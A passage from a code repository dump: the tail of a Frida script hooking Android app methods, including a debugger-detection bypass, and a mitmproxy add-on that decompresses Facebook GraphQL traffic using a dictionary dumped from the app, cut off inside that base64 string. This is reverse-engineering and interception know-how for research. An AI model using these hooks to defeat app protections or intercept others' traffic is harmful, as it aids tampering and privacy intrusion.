607 |   // Also, with this hook enabled, TikTok crashes if Frida spawns the App itself (early hooking)
608 |   // ... attaching to the running App leads to a crash at some point, but output works up to this point.
609 |   clazzClass.forName.overload("java.lang.String").implementation = function() {
610 |     var res = clazzClass.forName.apply(this, arguments)
611 |     var out = "Class.forName(" + JSON.stringify(arguments) + ")\n"
612 |     out += "\t=> '" + res + "'\n"
613 |     LOG(out, logSettings)
614 | 
615 |     return res
616 |   }
617 | 
618 |   var clazzClass = Java.use("java.lang.Class")
619 |   clazzClass.forName.overload(
620 |     "java.lang.String",
621 |     "boolean",
622 |     "java.lang.ClassLoader"
623 |   ).implementation = function() {
624 |     var res = clazzClass.forName.apply(this, arguments)
625 |     var out = "Class.forName(" + JSON.stringify(arguments) + ")\n"
626 |     out += "\t=> '" + res + "'\n"
627 |     LOG(out, logSettings)
628 | 
629 |     return res
630 |   }
631 | 
632 |   */
633 | })
634 | 
635 | // Untested
636 | Java.perform(function() {
637 |   Java.use("android.webkit.WebView").loadUrl.overload(
638 |     "java.lang.String"
639 |   ).implementation = function(s) {
640 |     send(s.toString())
641 |     this.loadUrl.overload("java.lang.String").call(this, s)
642 |   }
643 | })
644 | 
645 | Java.perform(function() {
646 |   send("--> isDebuggerConnected - Bypass Loaded")
647 |   var Debug = Java.use("android.os.Debug")
648 |   Debug.isDebuggerConnected.implementation = function() {
649 |     send("isDebuggerConnected() --> returned false")
650 |     return false
651 |   }
652 | })
653 | 


--------------------------------------------------------------------------------
/fb-zstd.py:
--------------------------------------------------------------------------------
 1 | """
 2 | Example add-on how to decompress traffic for 'graph.facebook.com/graphql', which arrives ZSTD-compressed
 3 | with a CUSTOM DICTIONARY TRAINED BY FACEBOOK.
 4 | 
 5 | The purpose of this add-on is not only to demo how zstd decompression with custom dicts could be achieved,
 6 | but also to emphasize the reasons on why "This is a bad idea".
 7 | 
 8 | Reasons not to decompress ZSTD with custom dicts:
 9 | 
10 | The custom dicts are context specific (target service, target endpoint, dict version etc etc) and would have
11 | to be available for all possible use-case. This is almost impossible to do from the perspective of a central
12 | interception proxy, which has only limited awareness of the setup of the requesting clients (in fact, the
13 | proxy can't know the proper decompression dictionary to use, unless it gets transmitted along - doing so would
14 | counter the effect of dictionary based ZSTD compression and is unlikely to happen in the wild).
15 | Also, this demo should show, that there is not enough "wire information" to safely conclude on the proper dictionary
16 | to use. This addon is limited to the following criteria, in order to deploy decompression (with a hardcoded dictionary):
17 | 
18 | - request endpoint is 'https://graph.facebook.com/graphql'
19 | - a header indicating usage of ZSTD compression is included in the response ('content-encoding: x-fb-dz')
20 | - a header indicating usage of ZSTD dictionary number '1' for this endpoint is used ('x-fb-dz-dict: 1')
21 | 
22 | Even with all this criteria applied, it could not reliably determined which dictionary to use. This is because
23 | the dictionary gets never transmitted "over the wire". Instead, it is hardcoded into the client (from where I dumped it)
24 | and thus depends on the client version (facebook updates those dictionaries, as they are trained based on API traffic).
25 | This again means, without knowing the exact client version of the Facebook app in use, no safe conclusion could be drawn
26 | on the correct dictionary to use.
27 | 
28 | So this example is more like "doing it the hard way", which you shouldn't. The "easy way" would be to alter the
29 | 'accept-encoding' header to avoid responses compressed with 'zstd', at all.
30 | I left a comment on how to do this (for Facebook traffic) in the following mitmproxy github issue:
31 | 
32 | https://github.com/mitmproxy/mitmproxy/issues/4394#issuecomment-957459382
33 | 
34 | In short words, it would be easier to replace request headers like
35 | 	'accept-encoding:    x-fb-dz;d=1, zstd, gzip, deflate'
36 | which prefer zstd compression (with unknown dictionary #1), with
37 | 	'accept-encoding:    gzip, deflate'
38 | which prefers 'gzip' compression (automatically handled by mitmproxy).
39 | Easy as that.
40 | 
41 | 
42 | 
43 | To run this add-on use (bypassing cert pinning is up to you):
44 | # mitmproxy -s /path/to/fb-zstd.py
45 | """
46 | 
47 | from mitmproxy import flowfilter
48 | from mitmproxy import ctx, http
49 | from base64 import b64decode
50 | # while 'mitmproxy.net.encoding' has ZSTD support, it does not support traiing dictionaries and cannot be used
51 | import zstandard
52 | 
53 | # ZSTD dictionary #1, dumped from libcoldstart.so of com.facebook.katana v342.0.0.37.119 (arm32)
54 | FB_ZSTD_DICT1 = "N6Qw7AEAAAA3ELAB6wYwDMMwDMMwDMPAQLTtJqIhEthgIyVRJnrHrmjbnSaaDVa0PWw/mZmZmSl/eP6uw3CBH9MCAAgMCsXC8ZBUMia2AwQgwRAVDhmSkAvJg+FgLBKIg8FQMBhFQRAEQRCDQRCEUSBJmbNsAAAEMWhDiTwaBTmMgxBCChmDkDRzAAAAAQAAAAQAAAAIAAAARTJORGtzdG9yeTEwNzIxMDY3NjM0Njg1NjQwN3RvcF83ODY0NmVhdG9yWTJOak14TVRNakV3TWpjd003OVwiLFwiaXAiOjAsInRleHRfZGVsaWdodHNfdWNlZCI6ImRhdGEiOnsiMjAifX0sInNwb25zb3JfIm1ham9yX3ZlcnNpb257ImlkIjoiZW50X3RlZWRiYWNrIjp7Il0sImZvY3VzZWRfY29tbWVudF9pZCI6WyJZMjl0YldWdWREbzAwMDB5TmpreE9UazVOalEyTSwiY29tbWVudF9jb3VudF9yZTVTXCI+XHUwMDNDc2IxLTIuZm5hLmZiMTQ3OFwiLFwicG9zdF9vbGVcIjoxLFwiZWxhdGlvbnNuZ2xpc3siX190eXBlbmFtZSI6ImRcIjpcIjFcIjAwMDA2XCIgRkJFbmNvZGluZ1RhZz1cImRhc2hfdjBfMjU2X2NyZl8yM19tYWluXzMuMF9mcmFnXzJfdHRhY2hsb2NrZWRfYnlfdmlld2VyIjpmYWxzZWluZ2xlX2ZyaWVuZF9zdG9yaWVzIjpmYWxzZX0sInJlZmVyaWRlby5mInRleHQiOiJkZW9fY3RpbWVfbXMiOjIwMCwiaXNfdWRpb1wiPlx1MDAzQ0EwMDNDXC9CYXNlVVJMPlx1MDAzQ1NlZ21lbnRCYXNlIGluZGV4b2xsX2RlZ3JlZXMiOjAsIjQ0ODEwMDAwMDAwMDAwIiwiaW5lYXJfdmJfbWF0dXJlX2NvbnRlbnRfcmF0aW5nX2ludCI6bnVsbCwiZmJfbWF0dXJlX2NvbnRlbnRfcmF0aW5nX3RleHQiOm51bGwsInNob3ciOm51bGwsIiwidmlkZW9fcGhlcmljYWxQbGF5YWJsZVVybFNkU3RyaW5nIjpudWxsLCJzcGhlcmljYWxQbGF5YWJsZVVybEhkU3RyaW5nIjpudWxsLCJzcGFuX2JhZGdlX3N0YXR1cyI6d2lkdGhfZGVncmVlcyI6MCwiYW5nZUV4YWN0PVwidHJ1ZVwiIGluZGV4UmFuZ2U9XCIwODAtOTczXCIgRkJGaXJzdFNlZ21lbnRSYW5nZT1cIjAwMDAwMDQwNVwiIEZCU2Vjb25kU2VnbWVudFJhbmdlPVwiMDAwMDYtMjU2MzNcIj5cdTAwM0NJbml0aWFsaXphdGlvbiByYW5nZT1cIjAtMDgxXCJcLz5cdTAwM0NcL1NlZ21lbnRCYXNlPlx1MDAzQ1wvUmVwcmVzZW50YXRpb24+XHUwMDNDXC8nbXF0dF9sYXJ1YnNjcmliZXJfZGF0YQAlaXJpc190YXJ0c1dpdGhTQVA9XCIxXCI+XHUwMDNDUmVwcmVzZW50YXRpb24gaWQ9XCIwMDA2NDI3MTg2MDQ0NzNhZFwiIG1pbWVUeXBlPVwiZXN0AgAAX3R5cGVuYW1lIjoic2FtcGxpbmcCMG1xdHRfaWRlb19waXZvdCI6W10sImludGVncmF0ZWRfbG91ZG5lc3MiOi0ic3RhdGljXCIgbWVkaWFQcmVzZW50YXRpb25EdXJhdGlvbj1cIlBUMEgwTTAuMDg1U1wiIG1heFNlZ21lbnREdXJhdGlvbj1cIlBUMEgwTTIuMDAyU1wiIHByb2ZpbGVzPVwidXJuOm1wZWc6ZGFzaDpwcm9maWxlOmlzb2ZmLW9uLWRlbWFuZDoyMDExLGh0dHA6XC9cL2Rhc2hpZi5vcmdcL2d1aWRlbGluZXNcL2Rhc2gyNjRcIj5cdTAwM0NQZXJpb2QgZHVyYXRpb249XCJQVDBIME19LCJ2aWRlb19wcm90b2NvbF9wcm9wcyI6bnVsbCwiaXNfbGl2ZV97ImlkIjoiOTA4NTYzNDU5MjM2NDY2Iiwia2V5Ijo3fWVcIiBzdWJzZWdtZW50aWRlb19jYXB0aW9uc186ZmFsc2UsInJ0Y19wbGF5YmFja2RhcHRhdGlvblNldCBzZWdtZW50QWxpZ25tZW50PVwidHJ1ZXJpY2FsUHJlZmVycmVkRm92Ijo2MCwiZ3VpZGVkX3RvdXIiOnsia2V5ZnJhbWVzIjpbXX0sImhvdHNwb3RfZWZmZWN0IjpudWxsLCJlbmFibGVfZm9jdXMiOmZhbHNlLCJvZmZfZm9jdXNfbGV2ZWwiOjEsIm9mZl9mb2N1c19sZXZlbF9kYiI6MCwiZm9jdXN1cmF0aW9uIHNjaGVtZUlkVXJpPVwidXJuOm1wZWc6ZGFzaDoyMzAwMzozOmF1ZGlvX2NoYW5uZWxfY29uZmlndXJhdGlvbjoyMDExXCIgdmFsdWU9XCIyXCJcLz5cdTAwM0NCYXNlVVJMPmh0dHBzOlwvXC9cdTAwM0NzdGF0ZSI4fV19LCJpc19zcGhlcmljYWwiOmZhbHNlLCJwaG90b3VkaW9cL21wNFwiIGNvZGVjcz1cIm5rX3R5cGUiOmVuZm9yY2VfbHNfcmVnaW9uX2hpbnQwHW1xdHRfb21tZXJjaWFsX2JyZWFrIjpmYWxzZSwiZWxpZ2libGVfYWRfZm9ybWF0cyI6W10sImluc3RyZWFtX3ZlbnRzACFvbW5pc3RvcmVfb3ZlcnJpZGVkaW9DaGFubmVsQ29uZmlydWUsInN1YnNyZWFzb24CEmFsbF9lbXBsb3llZXNfbXF0dAIdb21uaXN0b3JlX3Jlc25hcHNob3RfcmVzcG9uc2UCHm9tbmlzdG9yZV9zbmFwc2hvdF9sYXRlc3RfdGllcgIbb21uaXN0b3JlX3NuYXBzaG90X2Rldl90aWVyYW1wbGluZ1JhdGU9XCJzY3ViYQIdbXF0dF9ub19zZW5kcGluZ19vbl9zdWJzY3JpYmUCH21xdHRfZW5hYmxlX2VuZHBvaW50X2V2ZW50c19sb2cCJG1xdHRfZW5hYmxlX2VuZHBvaW50X2V2ZW50c19oaXZlX2xvZwIad2F0ZXJmYWxsX21lc3NhZ2VfbGlmZXRpbWUCH3dhdGVyZmFsbF9ORFU9IiwiY2FjaGVfaWQiOiJNMDAwMDAwMDAwMDAwRFl5TTBZek1ERTAwMHN6T1RBME9ERXdOajAyTjBrek5EVTBNemt3TjBneE1EWTBOalE1TXowMU96RTFOekEwTTAwM05UYz0iLCJoZWFkZXJfYWNjZW50X3RjX2Jyb2FkY2FzdHdzX3B1Ymxpc2hfdG9fY2xpZW50X2NhY2hlAChvbW5pc3RvcmVfY3Jvc3Nfc3RhY2tfc2N1YmFfbG9nZ2luZx1ydGlfcGxhdGZvcm1fcHA0YS40MC41XCIgYXVkaW8iaGFzX3RvcF9mcmllbmRzZXNzYWdlX2xpZmV0aW1lX2hpdmUAF21xdHRfZW5hYmxlX2JsYWRlcnVubmVyAhltcXR0X3NlciIsImlkIjoiMQIhcnRpX3ZpZXdlcl9wcmVzZW5jZV9sb2dnaW5ndG9wX3NlbmRpbmdfb2xkX3N1YnNjcmliZXJfZGF0YQIPb25ldmNfbWlncmF0aW9uAg9pbmJveF9taWdyYXRpb24CIW9tbmlzdG9yZV9yZXNlbmRfZnVsbF9wdWxsX2N1cnNvcgAebXF0dF9tZXNzYWdlc19xdWV1ZV9vbl9nZW5lcmljAhZtcXR0X2R1bW15X2drX2Zvcl8wLCJpc19sb29waW5nIjpmYWxzZSwiaXN0IjoiXHUwMDNDP3htbCB2ZXJzaW9uPVwiMS4wXCI/PlxuXHUwMDNDTVBEIHhtbG5zPVwidXJuOm1wZWc6ZGFzaDpzY2hlbWE6bXBkOjIwMTFcIiBtaW5CdWZmZXJUaW1lPVwiUFQxLjUwMFNcIiB0eXBlPWlkZW9fYWRfYnJlYWtzIjpbXSwicHJlX3JvbGxfYWRfYnJlYWsiOm51bGwsImlzX3ZpZXdhYmlsaXR5X2xvZ2dpbmdfZWxpZ2libGUiOmZhbHNlLCJwb2xsaW5nZW5lcmljXywiaW5pdGlhbF92aWV3X2VuY2VfY29uc2lzdGVuY3lfbG9nK2ZiNGFfbXF0dF9wcmVzZW5jZV9jcHVfYmF0dGVyeV9vcHRpbWl6YXRpb24wGG9tbmlzdG9yZV9iYXRjaF9zbmFwc2hvdAIab21uaXN0b3JlX2hhbmRsZV9zdWJzY3JpYmUCGG9tbmlzdG9yZV9kZWx0YV9tcXR0X2xvZwIobXF0dF9ub191bm5lY2Vzc2FyeV9yaWNoX3ByZXNlbmNlX3VwZGF0ZQIdb21uaXN0b3JlX3NlbmRfZGVsdGFfcmVzcG9uc2UCMW1xdHRfc2tpcF9zZW5kaW5nX3ByZXNlbmNlX3JlY2VpdmVyX2luX2JhY2tncm91bmQbcHlsb25fbG9jYWxfcmVwbGljYV9ydGNfcDJwAA9tcXR0X2RpcmVjdF9ydGMCIWlyaXNfc2VuZF9pbmcCIG1xdHRfL1BlcmlvZD5cdTAwM0NcL01QRD5cbiIsImNhbl92aWV3ZXJfbmRfY3Vyc29yIjphbHNlLCJhYm91dF9jb250ZXh0IjpbZm9zIjpbeyJfX3R5cGVuYW1lIjoiQgEabXVsdGlnZXRHYXRlS2VlcGVySW5mb0J5SWQLAAFsMDAwMDC9LRtBhRRtcXR0X3VzZXJzX29uX2xhdGVzdAIdcmVhbHRpbWVfaW5mcmFfbmVjdGFyX2xvZ2dpbmcCKHJlYWx0aW1lX2luZnJhX25lY3Rhcl9yZWxhYmlsaXR5X2xvZ2dpbmcCK3JlYWx0aW1lX2luZnJhX25lY3Rhcl9tcXR0X2VuZHBvaW50X2xvZ2dpbmcwHG1lc3Nlbmdlcl9wcmVfYWRkX3AycF90b3BpY3MAKW1xdHRfYXV0b19nZW5lcmF0ZV9kZWxpdmVyeV9yZWNlaXB0X2JhdGNoABxyZWFsdGl9fX0sImV4cG9ydHMiOnsic2hvcnRfdGVybV9jYWNoZV9rZXlfc3RvcnlzZXQiOlsiMDgifSwiaGlkZWFibGVfdG9rZW4iOiJNejAwMDBDME1EMDAwREN4TkRJeE4waHp6U3NKTGtrc0tTMTJMMDAwMDAwMDAwMDAwMC1xcktzek5EMHhNVE0wTkRJd00wMDAwMDBzcXpPb0F3QSIsInd3d1VSTCI6Imh0dHBkYXB0YXRpb25TZXRlYXNvbl9hbmRfZXBpc29kZV9zdHJpbmciOmRlZXBfZGl2ZV9hdmFpbGFiaWxpdHkiOnBzeW5jX2ludGVydmFsAhNtcXR0X21yeF9leHBlcmltZW50cmFjZV9lbmFibGVkIjp1bGwsImxpdmVfZXdlcl9zaGFyZSI6dHJ1ZSwicGxheW9nX2FsbF9yZWNpcGllbnRfbXF0dAIjbXF0dF9sYXJnZV9wYXlsb2FkX2JhdGNoaW5nX3N1cHBvcnRyZXNlbmNlX3siaWQiOiI0Nzg1NDczMTU2NTAxNDQiLCJrZXkiOjN9LCJtZWRpYSI6J20gY29uY2VybmVkIGFib3V0IHRoaXMgcG9zdCJ9LCJudWxsLCJpbnN0cmVhbV90cmFuc2l0aW9uX3NjcmVlbjhcIixcInBhZ2VfaWRcIjpcIjQxMDBcIiBzdGFydFdpdGhTQVA9XCIxXCIgYmFuZHdpZHRoMTkzMzE5NSIsInJhbmdlcyI6W10sImRlbGlnaHRfcmFuZ2VzIjpbXSwiYWdncmVnYXRlZF9yYW5nZXMiOltdfSwidHlwZSI6InN0cmluZyJ9LHsia2V5IjoibGF5b3V0X3giLCI6e1wiaXNTaGFyZVwiOjAsXCJvcmlnaW5hbCx7ImlkIjoiMTE1OTQwNjU4NzY0OTYzIiwia2V5Ijo0fXJlX2hpZGRlbiI6ZmFsc2UsInRyYWNraW5ncnVlLCJlZHVjYXRpb24sInJhbmtpbmdfc2lnbmFscyI6W10sInByb21wdF9jb21wb3NpdGlvbiI6eyJlbGFkZXJ1bm5l-cgImbWVzc2VuZ2VyXzA3NjAwMDAwMDA5XCJdfSxcInJvbGVcIjoxLFwic2xcIjo1LFwidGFyZ2V0c1wiOlt7XCJhY3Rvcl9pZFwiOlwibm9vemUgMDByYmFyYSBmb3IgMzAgZGF5cyJ9LCJzdWJ0aXRsZSI6eyJ0ZXh0Ijoic3RyZWFtX3Nwb25zb3JfcGFnZSI6b2xsYWdlUGhvdG9BdHRhY2htZW50U3R5bGVJbmZvIiwibGF5b3V0X3giOjAsImxheW91dF95IjowLCJsYXlvdXRfd2lkdGgiOjEsImVwb3J0Ijp0cnVlLCIiTVRVM01EMDBNemMwMDAwMDAwMDAwMDB6TjBVM09qTTZORGMwTTBJd01qZzJNakF6TzBVME5UVXpNem93T2pZM05EMDBNVFUwTTAwd05UQXdOVFF4TjAwPSJdfSwiZXh0ZW5zaW9ucyI6eyJmdWxmaWxsZWRfcGF5bG9hZHMiOlt7ImxhYmVsIjoiRGVmZXJyYWJsZUZpZWxkc0ZvclN0cmVhbWluZ0ZyYWdtZW50IiwicGF0aCI6WyJ2aWV3ZXIiLCJuZXdzX2ZlZWQiXX1dLCJyZXNvbHZlZF9wYXJhbXMiOnsiYWZ0ZXJfaG9tZV9zdG9yeV9wYXJhbSI6Ik1UVTNNRHNlciIsImlkIjoiMTAwMG9jYWxlcyI6W10sImNyZWF0ZWRfdGltZSI6MTU3MDAwMDA0OSwiY3JlYXRpb25fc3RvcnkiOnsiaWQib3N0T3duZXJJRFwiOjB9LFwicHNuXCI6XCJFbnRTdGF0dXNDcmVhdGlvblN0b3J5XCIsXCJwb3N0X2NvbnRleHRcIjp7XCJvYmplY3RfZmJ0eXBlXCI6MjY2LFwicHVibGlzaF90aW1lXCI6MTU3MDAwMDIwMixcInN0b3J5X25hbWVcIjpcIkVudFN0YXR1c0NyZWF0aW9uU3RvcnlcIixcInN0b3J5X2ZiaWRcIjpbXCJydWV9fX0seyJvZ19kaXNjb25uZWN0cm9maWxlLnBocD9pZD0xMDAwMDAwMDY1MDI3NDgiLCJpc19jdXJyZW50bHlfbGl2ZSI6ZmFsc2UsImNhbl92aWV3ZXJfbWVzc2FnZSI6dHJ1ZSwiaXNfbWVzc2FnZV9ibG9ja2VkX2J5X3ZpZXdlciI6ZmFsc2UsImlzX3ZpZXdlcl9mcmllbmQiOnRydWUsInNob3VsZF91bV9jaGFpbmluZ19wcmV2aWV3X3ZpZGVvcyI6MH0sInN0b3J5X2ljb25faW5mbyI6bnVsbCwiaXNfc2VlX2ZpcnN0X2J1bXBlZCI6ZmFsc2UsInNlZV9maXJzdF9hY3RvcnMiOltVTVBfVU5SRUFEIiwicmFua2luZ193ZWlnaHQiOjAwMDAwMDAzMzIwMzEyNSwiY3Vyc29yIjoiTVRVM01EMDBOalEwT1RveE5UY3dNMEUyTkQwNU9qRTBPaTB4TURFMTBEYzVNRGN4TjBjeU1qY3hORE14T2pBNk5qYzBORDAxTjBjNU5EQTRNREF5TTAwek1RPT0iLCJmZWF0dXJlc19tZXRhIjoie1wic3ViamVjdF90eXBlXCI6MCxcIndhc19zZWVuXCI6MCxcInN0b3J5X3JhbmtpbmdfdGltZVwiOjE1NzAwMDA0NDksXCJ2X3ZpZXdlZFwiOi0wMDAyLFwicF9jb21tZW50XCI6MDAwMixcInZfY29tbWVudFwiOjA2MjUsXCJwX29iY1wiOjAsXCJ2X29iY1wiOjAsXCJwX2xpa2VcIjowMDA0NCxcInZfbGlrZVwiOjE1MTAsXCJidW1wX3JlYXNvblwiOjEsXCJzc19wb3NcIjowMCxcIm1ham9yX3ZlcnNpb25cIjoyNDAsXCJnZW5lbmxpbmVfY29tbWVudF9jb21wb3Nlcl9mb3JfbmV3X3VzZXIiOmZhbHNlfWRnZXMiOltdfSwidmlld2VyX2FjdHNfYXNfcGVyc29uIjp7ImlkIjoiMTAwMDAwMDAwMDAwMDAwIiwibmFtZSI6IjAwMDAgQ2FsaTAwMHJpIn0sInN1Z2dlc3RlZF9EIiwic2Vjb25kYXJ5X3N1YnNjcmliZV9zdGF0dXMiOiJhbHNlLCJzZWVuX2NvdW50IjowfSwiY29udGVudF9jbGFzc2lmaWNhdGlvbl9jb250ZXh0Ijp7InByZWRpY3RlZF9mZWVkX3RvcGljcyI6W119LCJhdXRvX3Bpdm90X3VuaXQiOm51bGwsImhhc19mcnRwX2luZm8iOl93aXRoX3N0aWNrZXIiOnRydWUsImNhbl92aWV3ZXJfdWxsLCJwbGF5YWJsZV9kdXJhdGlvbl9pbl9tcyI6MCwiZmVlZGJ5IjpmYWxzZSwic2Vlbl9ieSI6eyJjb3VudCI6bnVsbH0sImNvbW1lbnRfYWdncmVnYXRlZF90b21ic3RvbmUiOm51bGwsIm1lc3NhZ2VoYXJlX2lkXCI6dWxsLCJpbnNpZ2h0cyI6bnVsbCwicG9zdF9pbnNpZ2h0cyI6bnVsbCwicGFnZXNfcG9zdF9sZXZlbF9pbnNpZ2h0c19xZSI6MCwicHJvbW90aW9uX2luZm8iOm51bGwsInBvc3RfcHJvbW90dHRhY2htZW50cyI6W09ORSIsInJhbmtpbmdfd2VpZ2h0IjplbXBvcmFyaWx5IHN0b3Agc2VlaW5nIHBvc3RzLiJ9LCJuZWdhdGl2ZV9mZWVkYmFja19hY3Rpb25fdHlwZSI6ImVyX21lc3NhZ2UiOnRydWUsImlzX21lc3NhZ2VfOm51bGx9LCJyZWNvbW1lbmRhdGlvbl9jb250ZXh0IjpudWxsLCJ2aWRlb19jaGFpbmluZ19jb250ZXh0Ijp7InNob3VsZF9wcmVmZXRjaCI6ZmFsc2UsImJsb2NrX2luaXRpYWxfY2hhaW5pbmdfZW5hYmxlZCI6ZmFsc2UsIjcyNzAwMDAwMDAwMDA6OGE3YjAwMDAwNjkwZGVkY2IxOTliMzA3MzAwMDIxNDQifSwic3RvcnlfYnVja2V0Ijp7Im5vZGVzIjpbeyJpZCI6IjAwMDA4MjgwNDMwNTE3OTciLCJpc19idWNrZXRfc2Vlbl9ieV92aWV3ZXIiOnRydWUsImlzX2J1Y2tldF9vd25lZF9ieV92aWV3ZXIiOmZhbHNlLCJjYW1lcmFfcG9zdF90eXBlIjoiU1RPUlkiLCJ0aHJlYWRzIjp7ImlzX2VtcHR5Ijp0cnVlfSwibGF0ZXN0X3RocmVhZF9jcmVhdGlvbl90aW1lIjp9XX19fSIsInRpdGxlIjpudWxsLCJzaG9ydF90ZXJtX2NhY2hlX3BlIjoiSFRNTF9PTkxZIiwiaW5hcHBfYnJvd3Nlcl9yYXBpZGZlZWRiYWNrX3N1cnZleXMiOltdLCJpc19uZXdfc3RvcnkiOmZhbHNlLCJzaG93X3NwYXRpYWxfcmVhY3Rpb25zIjpmYWxzZSwic2hvdWxkX3ByZWZldGNoX2luc3RhbnRfYXJ0aWNsZSI6YXkiOm51bGwsImlkZW50aXR5X2JhZGdlcyI6W10sInZpZGVvX2NyZWF0b3JfdG9wX2Zhbl9iYWRnZV9zdGF0dXMiOm51bGwsImlzX2Fub255bW91cyI6ZmFsc2UsImFza19hZG1pbl90b19wb3N0X2FjY2VwdF9kaWFsb2ciOm51bGwsImNhbl92aWV3ZXJfYXBwcm92ZV9wb3N0IjpmYWxzZSwiYXNrX2FkbWluX3RvX3Bvc3RfYXV0aG9yIjpudWxsLCJwb3N0X3N1YnNjcmlwdGlvbl9zdGF0dXNfaW5mbyI6bnVsbCwiY2FuX3Nob3dfdXBzZWxsX2hlYWRlciI6dHJ1ZSwiZnJpZW5kaGFyZUFjdGlvbkxpbmsiLCJwYWdlIjpudWxsLCJ1cmwiOm51bGwsImZlZWRfY3RhX3R5cGUiOiJVTktOT1dOIiwibGlua190eToiMTY3ODUyNDkzMjQzNDEwMiIsImtleSI6Mn19YXlvdXRfaGVpZ2h0IjowfSx7Il9fdHlwZW5hbWUiOiJhZ19leHBhbnNpb25fZWR1Y2F0LCJwYWdlc191bml2ZXJzYWxfZGlzdHJpYnV0aW9uX3BzZWxsX3FlIjpmYWxzZSwicnVlLCJpc19lbGlnaWJsZV9mb3JfZW50X3Byb3BlcnRpZXMiOlt7ImtleSI6InBob3Rvc2V0X3JlZmVyZW5jZXNjaG9vbCI6bnVsbCwiZW1wbG95ZXIiOm51bGxvbG9yIjpudWxsLCJ0byI6bnVsbCwic3VidGl0bGUiOm51bGwsImNyZWF0aW9uX3RpbWUiOjE1NzAwMDA3NTcsImJhY2tkYXRlZF90aW1lIjpudWxsLCJ1cmwiOiJodHRwczpcL1wvd3d3LmZhY2Vib29rLmNvbVwvMDAwMDAwMDAwMDAwMTYyXC9wb3N0c1wvMDAwNDgxMDAxNjAwMDAwXC8iLCJkaXNwbGF5X3RpbWVfYmxvY2tfaW5mbyI6bnVsbCwidGl0bGVGcm9tUmVuZGVyTG9jYXRpb24iOnVsbCwidGl0bGUiOm51bGx9XSwiYXR0YWNoZWRfYWN0aW9uX2xpbmtzIjpbXSwic2hhcmVhYmxlIjo6W10sInBhZ2UiOm51bGx9fV0sImFnZ3JlZ2F0ZWRfcmFuZ2VzIjpbXSwiaW1hZ2VfcmFuZ2VzIjpbXX0sIm1lc3NhZ2VfbWFya2Rvd25faHRtbCI6bnVsbCwibWVzc2FnZV9yaWNodGV4dCI6W10sIm1lc3NhZ2UiOmRpYWxlY3QiOiJlbl9YWCIsInRhcmdldF9kaWFsZWN0X25hbWUiOiIwbmdsaXNoIiwidHJhbnNsYXRpb25fdHlwZSI6Ik5PX1RSQU5TTEFUSU9OIiwidHJhc3RvcmllcyI6ZmFsc2UsImhhc19uaW1hdGVkX2RlZXBfbGlua3MiOmZhbHNlLCJwb2xsX3N0aWNrZXIiOmdhdGl2ZV9mZWVkYmFja19hY3Rpb25fdHlwZSI6InVsbCwic3ViYXR0YWNobWVudHMiOlt7InRpdGxlIjoiIiwic3VidGl0bGUiOm51bGwsInNuaXBwZXQiOm51bGwsInRpdGxlX3dpdGhfZW50aXRpZXMiOnsidGV4dCI6Il0sImlzX3ZpZGVvX2RlZXBfbGlua3MiOmZhbHNlLCJpc19jb250ZW50IjpudWxsc19hZ2VfcmVzdHJpY3RlZCI6ZmFsc2UsImlzX3BsYXlhYmxlIjpmYWxzZSwicGxheWFibGVfdXJsIjpudWxsLCJwbGF5YWJsZVVybEhkU3RyaW5nIjpudWxsLCJwcmVmZXJyZWRQbGF5YWJsZVVybFN0cmluZyI6bnVsbCwiYXRvbV9zaXplIjowLCJoZEF0b21TaXplIjowLCJiaXRyYXRlIjowLCJoZEJpdHJhdGUiOjAsInZpZGVvX2Z1bGxfc2l6ZSI6MCwiaXNfZGlzdHVyYmluZyI6LCJhc3NvY2lhdGVkX2FwcGxpY2F0aW9uIjpudWxsLCJkZWR1cGxpY2F0aW9uX2tleSI6IjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGQ5IiwiaW5zdGFncmFtX3VzZXIiOm51bGwsInVzZV9jYXJvdXNlbF9pbmZpbml0ZV9zY3JvbGwiOmZhbHNlLCJjOiJ7XCJxaWRcIjpcIjAwMDAwMDU4MjAxMDA5MzA1MjNcIixcIm1mX3N0b3J5X2tleVwiOlwiMDAwOTAwMDAwMDA3NjU4MTUyMjZcIixcInRvcF9sZXZlbF9wb3N0X2lkXCI6XCIwMDAwMDAzMTEwMDAwMDE5XCIsXCJjb250ZW50X293bmVyX2lkX25ld1wiOlwiMTAwMDAwMDA3MzAwMDAwXCIsXCI0Il0sImVuZF9jdXJzb3IiOm9weXJpZ2h0X2Jsb2NrX2luZm8iOm51bGwsImNvcHlyaWdodF9iYW5uZXJfaW5mbyI6eyJ0cmFuc2xhdGVkX2Jhbm5lcl9tZXNzYWdlIjpudWxsLCJkaXNwdXRlX3VyaSI6bnVsbCwiaWNvbiI6bnVsbCwibmF0aXZlX3RlbXBsYXRlX3ZpZXciOm51bGx9LCJnZXMiOlt7InByZXZpZXdfY2FsbF90b19hY3Rpb25fdGV4dCI6bnVsbCwicHJldmlld190ZXh0IjpudWxsLCJub2RlIjpudWxsfV19LCJmZWVkYmFja19jb250ZXh0Ijp7ImludGVyZXN0aW5nX3RvcF9sZXZlbF9jb21tZW50cyI6W10sInJlYWRfbGlrZWxpaG9vZCI6IkxPVyIsImluYXBwX2Jyb3dzZXJfcHJlZmV0Y2hfdnB2X2R1cmF0aW9uX3RocmVzaG9sZCI6LTEsImluYWxvY2siLCJ0YXJnZXRfZW50aXR5Ijp7Il9fdHlwZW5hbWUiOiIifSwic3VidGl0bGUiOnsidGV4dCI6Ik5PT1pFX0FDVE9SIiwibmVnYXRpdmVfZmVlZGJhY2tfYWN0aW9uLCJ0ZXh0X2RlbGlnaHRzX2FyZV9oaWRkZW4iOmZhbHNlLCJ0b3BpY3NfY29udGV4dCI6eyJ0b3BpY19mb2xsb3dlbmNvZGluZ3MiOltdLCJhdHRyaWJ1dGlvbl9hcHAiOm51bGwsImF0dHJpYnV0aW9uX2FwcF9tZXRhZGF0YSI6bnVsbCwiQ2hhbm5lbEVkZ2UiLCJzb3J0X2tleSI6IjE6MDAwMDAwMDAwMDE1NzAwMDAwMDM6MDQwMDEwMDAwMDg0MjAwMDAwMDQ6MDkwMDAwMDIwMzY4MDAwMDAwMDA6MDAwMDAwMDAwMDAwMDAwMDAwMDgiLCJkZWR1cGxpY2F0aW9uX2tleSI6IjAwMDc5MDEyMDA5MDAwMDAwMDI4IiwiaXNfaW5fbG93X2VuZ2FnZW1lbnRfYmxvY2siOmZhbHNlLCJidW1wX3JlYXNvbiI6IkJVTVBfb3VudCI6MCwiZWRnZXMiOltdfSwicHJvbW90aW9uc19jYXJvdXNlbF9uYXRpdmVfdGVtcGxhdGVfdmlldyI6bnVsbHNsYXRpb24iOm51bGx9LCJjYW5fdmlld2VyX2FwcGVuZF9waG9